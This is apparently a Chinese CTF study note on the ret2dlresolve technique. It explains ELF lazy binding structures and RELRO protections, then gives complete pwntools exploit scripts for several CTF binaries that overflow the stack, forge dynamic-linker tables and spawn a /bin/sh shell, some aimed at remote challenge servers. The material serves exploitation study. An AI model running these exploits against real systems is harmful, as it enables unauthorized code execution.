ret2dlresolve

原理概述

linux 动态链接的程序使用 _dl_runtime_resolve(link_map_obj, reloc_offset) 来对动态链接的函数进行重定位。

动态链接器在解析符号(函数)地址时需要使用:重定位表项、动态符号表、动态字符串表等。如果能够修改其中的某些内容,就能使得动态链接器解析的符号(函数)是我们想要解析的符号(函数)。

攻击效果

让被攻击的函数变成我们所需要的函数,且被攻击函数 got 表也被劫持为目标函数的地址

使用限制

依据保护分几种的

使用场景

利用ROP技巧,可以绕过NX和ASLR保护,比较适用于一些比较简单的栈溢出情况,但是同时难以泄漏获取更多信息的情况(比如没办法获取到libc版本)

延迟绑定技术

以下基于 32 位程序,64 位差异不大

ret2dlresolve 需要了解动态链接的基本过程以及 ELF 文件中动态链接相关的结构(段、表)

延迟绑定相关段、表、结构体

结构体定义文件:/glibc-2.23/elf/elf.h

PLT表

在程序中以 .plt 节表示

每一个表项表示了一个与要重定位的函数相关的若干条指令,每个表项长度为 16 个字节,存储的是用于做延迟绑定的代码

对于每个表项:

  • 第一条指令:跳转到对应函数 got 表
  • 第二条指令(首次调用时 got 调回到这里):压入函数偏移
  • 第三条指令:跳转到压入 link_map
  • 第四条指令:跳转到 got[1] ,即跳转执行 _dl_runtime_resolve(link_map_obj, reloc_index)

GOT表

在程序中以 .got.plt 表示

每一个表项存储的都是一个地址,每个表项长度是当前程序的对应需要寻址长度(32位程序:4字节,64位程序:8字节)

![image-20210805143452036](../../../Library/Application Support/typora-user-images/image-20210805143452036.png)

  • .got.plt[0]:.dynamic 段地址
  • .got.plt[1]:link_map结构地址(启动后写入)
  • .got.plt[2]: _dl_runtime_resolve函数地址(启动后写入)

![image-20210805143521976](../../../Library/Application Support/typora-user-images/image-20210805143521976.png)

  • .got.plt[x]:各函数的真实地址;未被调用时是各函数 plt+6

.dynamic - 动态节

在加载过程中,.dynmic 节整个以一个段的形式加载进内存,所以说在程序中的 .dynmic 节也就是运行后的 .dynmic 段

该段保存了许多 Elf64_Dyn 结构,Elf64_Dyn 里面保存的是其他节的信息,主要是其他节的地址:

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* 其他节的地址 */
} d_un;
} Elf32_Dyn;

.dynamic 主要用于动态链接时寻找其他相关节(.dynsym、.dynstr、.rela.plt 等节)。

![image-20210803145147658](../../../Library/Application Support/typora-user-images/image-20210803145147658.png)

**着重关注DT_SYMTAB,DT_STRTAB,DT_JMPREL,DT_VERSYM(64位下才需要关注)**:

  • DT_SYMTAB:.dynsym段地址

  • DT_STRTAB:.dynstr段地址

  • DT_JMPREL:.rel.plt段地址

  • DT_VERSYM:.gnu.version段地址

.dynsym - 动态符号表

存储着在动态链接中所需要的每个函数所对应的符号信息

![image-20210803145718465](../../../Library/Application Support/typora-user-images/image-20210803145718465.png)

每个结构体分别对应一个符号 (函数)

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; /* 函数字符串在.dynstr的偏移 */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

.dynstr - 动态字符串表

该表是一个字符串数组,存放了一系列符号字符串(函数名)

![image-20210803145835255](../../../Library/Application Support/typora-user-images/image-20210803145835255.png)

.rel.plt - 重定向节

保存了重定位相关的信息。保存在链接或者运行时,对 ELF 目标文件的某部分内容或者进程镜像进行补充或修改信息。每个结构体也与某一个重定位的函数相关。

![image-20210805110223398](../../../Library/Application Support/typora-user-images/image-20210805110223398.png)

1
2
3
4
5
6
7
8
typedef struct
{
Elf64_Addr r_offset; /* Address */
// 解析函数的 GOT 表项地址
Elf64_Xword r_info; /* Relocation type and symbol index */
// 高位表示索引,低位表示类型
// 例如 0x107 :1 表示索引(.dunsym偏移),7 代表是函数类型
} Elf64_Rel;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct link_map
{
/* Shared library's load address. */
ElfW(Addr) l_addr;
/* Pointer to library's name in the string table. */
char *l_name;
/*
Dynamic section of the shared object.
Includes dynamic linking info etc.
Not interesting to us.
*/
ElfW(Dyn) *l_ld;
/* Pointer to previous and next link_map node. */
struct link_map *l_next, *l_prev;
};

延迟绑定相关函数

_dl_runtime_resolve

源码文件:glibc/sysdeps/i386/dl-trampoline.S

_dl_runtime__resolve(link_map_obj, reloc_arg)

第一个参数是一个 link_map 结构,第二个参数是一个重定位参数

该函数最后通过调用 _dl_fixup(link_map_obj, reloc_arg) 解析函数名获得最后真实地址

_dl_fixup

源码文件:/glibc/elf/dl-runtime.c

延迟绑定过程

demo 程序:

1
2
3
4
5
6
7
8
9
// gcc -m32 -g hello_world.c -o hello_world
#include <stdio.h>
int main(){
printf("one");
printf("two");
puts("three");
puts("four");
return 0;
}

首次 call printf@plt

![image-20210803170610338](../../../Library/Application Support/typora-user-images/image-20210803170610338.png)

跳转到 got 表,第一次调用 got 表里存储是 printf@plt+6

![image-20210803172647795](../../../Library/Application Support/typora-user-images/image-20210803172647795.png)

跳转回 printf@plt+6 将函数偏移(reloc_index)压栈,然后再跳转到 plt[0](plt表头部):

![image-20210803173419006](../../../Library/Application Support/typora-user-images/image-20210803173419006.png)

将 .got.plt[1] 压栈,即将 link_map 结构体地址压栈;然后跳转到 .got.plt[2] ,即跳转运行 _dl_runtime_resolve

程序启动后自动向 .got.plt[1] 写入 link_map 结构体;同理在 .got.plt[2] 写入 _dl_runtime_resolve 函数地址

_dl_runtime_resolve(link_map_obj, reloc_index)

![image-20210803223537464](../../../Library/Application Support/typora-user-images/image-20210803223537464.png)

经过一系列指令后,进入函数 _dl_fixup(link_map_obj, reloc_arg) (解析符号地址的函数)

然后涉及一段宏定义、结构体定义,具体源码分析:https://bbs.pediy.com/thread-253833.htm

![image-20210803232407915](../../../Library/Application Support/typora-user-images/image-20210803232407915.png)

上:.got.plt ,第一个 .dynamic 、第二个 link_map 、第三个 _dl_resolved

下:link_map ,第三个就是 .dynamic 地址

  1. 通过 link_map 找到 .dynamic

  2. 在从 .dynamic 中的 DT_SYMTABDT_STRTABDT_JMPREL分别取出 .dynsym段地址.dynstr段地址.rel.plt段地址

    • .rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel

    • rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym

  3. .dynstr + sym->st_name 得出符号名字符串指针

  4. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即 GOT 表

RELRO保护

无保护

![image-20210805153804291](../../../Library/Application Support/typora-user-images/image-20210805153804291.png)

重定位相关表段不进行任何保护,.dynamic 允许修改:

![image-20210805154416971](../../../Library/Application Support/typora-user-images/image-20210805154416971.png)

部分保护

![image-20210805153920005](../../../Library/Application Support/typora-user-images/image-20210805153920005.png)

重定位相关表段在初始化后被标识为只读

![image-20210805233725067](../../../Library/Application Support/typora-user-images/image-20210805233725067.png)

完全保护

![image-20210805154051144](../../../Library/Application Support/typora-user-images/image-20210805154051144.png)

在部分保护基础上:

  • 所有函数在开始时就被解析,GOT 表初始化为目标函数的最终地址,且标记为只读
  • .got.plt[1]\.got.plt[2] 不会被写入 link_map、_dl_runtime_resolve 均为 0

![image-20210805233830391](../../../Library/Application Support/typora-user-images/image-20210805233830391.png)

攻击思路

无保护

  • 伪造函数名称对应字符串所在地址

    修改 .dynamic 段的 DT_STRTAB ,也就是篡改 .dynstr 段地址,将 .dynstr 劫持到可控区域进行伪造字符串表,让某个函数偏移在伪造字符串表上对应的字符串刚好是 system ,然后动态解析时调用的就是 system

    这种攻击手法无论 32 位或者 64 位都适用

    对应例题:

    • [2015-xdctf-pwn200_no_relro_32](# 2015-xdctf-pwn200_no_relro_32)

部分保护

32位

  • 伪造reloc_arg,伪造结构体

    _dl_runtime_resolve 不会对第二个参数 reloc_arg(函数偏移)进行检查,也就是存在越界的问题。

    1. 设计一个 reloc_offset ,将函数重定向表劫持到可控区域(如.bss),在上面伪造 elf_rel (r_offset、r_info)
    2. 依据 r_info 信息,在对应区域内写入 fake elf_sym 结构,同时将 st_name 指向 fake 字符串

    对应例题:

    • [2015-xdctf-pwn200_relro_32](# 2015-xdctf-pwn200_relro_32)

64位

完全保护

ret2dl 无法利用

实例

无保护

2015-xdctf-pwn200_no_relro_32

题目附件

题目 RELRO 保护全关,也就是 .dynamic 段有写入权限

1
2
3
4
5
Arch:     i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用条件上也满足前面总结的无保护攻击利用思路:修改 .dynamic 的字符串表地址,伪造字符串表,这里选择 write 函数攻击,程序中其他函数也是可以的(read\setbuf)。

  1. 修改 .dynamic 的字符串表地址为伪造字符串表地址(可控的区域)
  2. 构造 fake 字符串表,将 write 替换为 system
  3. 读取 /bin/sh
  4. 调用 write@plt[1] 指令,即与首次调用函数流程相同,调用 _dl_runtime_resolve 进行函数解析,将被攻击函数解析为 system
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#encoding:utf-8
from pwn import *
context.log_level="debug"
context.terminal = ["tmux","splitw","-h"]

p = process("./main_no_relro_32")
elf = ELF("./main_no_relro_32")

dynamic = elf.get_section_by_name('.dynamic').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').data()
bss = elf.get_section_by_name('.bss').header.sh_addr
log.info("log:"+hex(bss))
DT_STRTAB = dynamic+0x40+4
log.info("log:"+hex(DT_STRTAB))
log.info("log:"+hex(elf.plt['write']+6))


rop = ROP("./main_no_relro_32") #实例ROP对象
rop.raw(112*'a') #栈溢出填充数据
rop.read(0,DT_STRTAB,4) #劫持DT_STRTAB
fake_dynstr = dynstr.replace("write","system")
rop.read(0,bss,len(fake_dynstr)) #fake_dynstr写入地址
rop.read(0,bss+0x100,len("/bin/sh\x00"))#写入/bin/sh
rop.raw(elf.plt['write']+6) #调用plt+6进行函数解析
rop.raw(0xdeadbeef) #函数解析完返回地址
rop.raw(bss+0x100) #函数参数(/bin/sh)

print rop.dump()

p.send(rop.chain())
p.send(p32(bss)) #劫持DT_STRTAB
p.send(fake_dynstr) #写入fake_dynstr
p.send("/bin/sh\x00") #写入/bin/sh

p.recvuntil('Welcome to XDCTF2015~!\n')

p.interactive()

2015-xdctf-pwn200_no-relro_64

题目附件

与 32 位主要的差别是第三个参数无法控制,导致 read 读取的时候固定 0x100 的长度而导致需要写入多余内容将结构体中其他指针覆盖了。

所以需要用 ret2csu 王能 gadget 控制第三个参数, payload 冗长需要栈迁移到 bss 段上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#encoding:utf-8
from pwn import *
# context.log_level="debug"
# context.terminal = ["tmux","splitw","-h"]
context.arch="amd64"
io = process("./main_no_relro_64")
rop = ROP("./main_no_relro_64")
elf = ELF("./main_no_relro_64")

bss_addr = elf.bss()
csu_front_addr = 0x400750
csu_end_addr = 0x40076A
leave_ret =0x40063c
poprbp_ret = 0x400588
def csu(rbx, rbp, r12, r13, r14, r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13d
# rsi = r14
# rdx = r15
payload = p64(csu_end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
return payload

io.recvuntil('Welcome to XDCTF2015~!\n')

# stack privot to bss segment, set rsp = new_stack
stack_size = 0x1a0 # new stack size is 0x1a0
new_stack = bss_addr+0x200

offset = 112+8
rop.raw(offset*'a') #往bss+0x200写ROP利用链
payload1 = csu(0, 1 ,elf.got['read'],0,new_stack,stack_size)
rop.raw(payload1)
rop.raw(0x400607)
assert(len(rop.chain())<=256)
rop.raw("a"*(256-len(rop.chain())))
# gdb.attach(io)
io.send(rop.chain())

# construct fake stack
rop = ROP("./main_no_relro_64")
rop.raw(csu(0, 1 ,elf.got['read'],0,0x600988+8,8)) # modify .dynstr pointer in .dynamic section to a specific location
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace("read","system")
rop.raw(csu(0, 1 ,elf.got['read'],0,0x600B30,len(dynstr))) # construct a fake dynstr section
rop.raw(csu(0, 1 ,elf.got['read'],0,0x600B30+len(dynstr),len("/bin/sh\x00"))) # read /bin/sh\x00
rop.raw(0x0000000000400771) #pop rsi; pop r15; ret; #调整堆栈结构
rop.raw(0)
rop.raw(0)
rop.raw(0x0000000000400773) # pop rdi; ret
rop.raw(0x600B30+len(dynstr)) # /bin/sh address
rop.raw(0x400516) # read@plt+6
rop.raw(0xdeadbeef)
# print(len(rop.chain()))
rop.raw('a'*(stack_size-len(rop.chain())))
io.send(rop.chain())


# reuse the vuln to stack pivot
rop = ROP("./main_no_relro_64") # 栈迁移到bss+0x200
rop.raw(offset*'a')
rop.migrate(new_stack)
assert(len(rop.chain())<=256)
io.send(rop.chain()+'a'*(256-len(rop.chain())))

# now, we are on the new stack # 写入fake .dystr
io.send(p64(0x600B30)) # fake dynstr location
io.send(dynstr) # fake dynstr
io.send("/bin/sh\x00")

io.interactive()

2016-xman-level3_x64

这题是无保护版本,无保护题目思路都是修改 dynamic 表里面 dt_strtab 地址,将字符串表劫持到可控区域的伪造字符串表。

与 32 位区别就是控制第三个参数需要用 ret2csu 来控制,可能还需要进行栈对齐。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#encoding:utf-8
from pwn import *
# context.log_level="debug"
context.terminal = ["tmux","splitw","-h"]
context.arch="amd64"
io = process("./level3_x64")
# io = remote("pwn2.jarvisoj.com",9883)
rop = ROP("./level3_x64")
elf = ELF("./level3_x64")

bss_addr = elf.bss()
csu_front_addr = 0x400690
csu_end_addr = 0x4006aa
leave_ret =0x0000000000400618
pop_rbp_ret = 0x0000000000400550
pop_rsi_r15_ret = 0x00000000004006b1
pop_rdi_ret = 0x00000000004006b3
dynamic = elf.get_section_by_name('.dynamic').header.sh_addr

def csu(rbx, rbp, r12, r13, r14, r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13d
# rsi = r14
# rdx = r15
payload = p64(csu_end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
return payload

# === start ===
io.recvuntil('put:\n')
gdb.attach(io,"b *0x400699")
raw_input()

# stack privot to bss segment, set rsp = new_stack
stack_size = 0x1a8 # 写入bss的ROP利用链长度
new_stack = bss_addr+0x300

offset = 0x80+8
rop.raw(offset*'a') # 往bss+0x200写ROP利用链
payload1 = csu(0, 1 ,elf.got['read'],stack_size,new_stack,0)
rop.raw(payload1)
rop.raw(0x4005E6)
assert(len(rop.chain())<=0x200) # 不够read输入长度就得填充
rop.raw("a"*(0x200-len(rop.chain())))
io.send(rop.chain())

# construct fake stack
rop = ROP("./level3_x64")
rop.raw(csu(0, 1 ,elf.got['read'],8,dynamic+0x90+8,0)) # modify .dynstr pointer in .dynamic section to a specific location
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace("read","system")
rop.raw(csu(0, 1 ,elf.got['read'],len(dynstr),bss_addr,0)) # construct a fake dynstr section
rop.raw(csu(0, 1 ,elf.got['read'],len("/bin/sh\x00"),bss_addr+len(dynstr),0)) # read /bin/sh\x00
rop.raw(pop_rsi_r15_ret) #pop rsi; pop r15; ret; #调整堆栈结构
rop.raw(0)
rop.raw(0)
rop.raw(pop_rdi_ret) # pop rdi; ret
rop.raw(bss_addr+len(dynstr)) # /bin/sh address
rop.raw(0x4004C6) # read@plt+6
rop.raw(0xdeadbeef)
# print(len(rop.chain()))
rop.raw('a'*(stack_size-len(rop.chain())))
io.send(rop.chain())


# reuse the vuln to stack pivot
rop = ROP("./level3_x64") # 栈迁移到bss+0x200
rop.raw(offset*'a')
rop.migrate(new_stack)
assert(len(rop.chain())<=0x200)
io.send(rop.chain()+'a'*(0x200-len(rop.chain())))

# now, we are on the new stack # 写入fake .dystr
io.send(p64(bss_addr)) # fake dynstr location
io.send(dynstr) # fake dynstr
io.send("/bin/sh\x00")

io.interactive()

这题到无法利用,system 进行 execve 调用返回结果是 -1 ,即调用失败。具体原因目前没有分析出来,当然这条题目也是可以用简单做法 ret2libc

![image-20210809223636351](../../../Library/Application Support/typora-user-images/image-20210809223636351.png)

![image-20210809224241524](../../../Library/Application Support/typora-user-images/image-20210809224241524.png)

部分保护

2015-xdctf-pwn200_relro_32

题目附件

理解修改重定位表项的位置原理之后,用工具快速生成 payload :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#encoding:utf-8
from pwn import *

context.log_level="debug"
context.terminal = ["tmux","splitw","-h"]
context.binary = elf = ELF("./main_partial_relro_32")
p = process("./main_partial_relro_32")

rop = ROP("./main_partial_relro_32")
dlresolve = Ret2dlresolvePayload(elf,symbol='system',args=["/bin/sh\x00"])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()

payload = flat({112:raw_rop,256:dlresolve.payload}) #112栈溢出填充;256是为了结束前一个read,进入栈迁移的read函数
p.sendline(payload)


p.interactive()

2016-xman-level3_x86

题目附件

部分保护,直接用 pwntools 生成攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#encoding:utf-8
from pwn import *
context.log_level="debug"
context.terminal = ["tmux","splitw","-h"]
context.binary = elf = ELF("./level3")

p = process("./level3")
p = remote("pwn2.jarvisoj.com",9879)

# gdb.attach(p,"b *0x0804847E")

rop = ROP("./level3")
dlresolve = Ret2dlresolvePayload(elf,symbol='system',args=["/bin/sh\x00"])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()

payload = flat({140:raw_rop,256:dlresolve.payload}) #140栈溢出填充;256是为了结束前一个read,进入栈迁移的read函数
p.sendline(payload)

p.interactive()

参考文章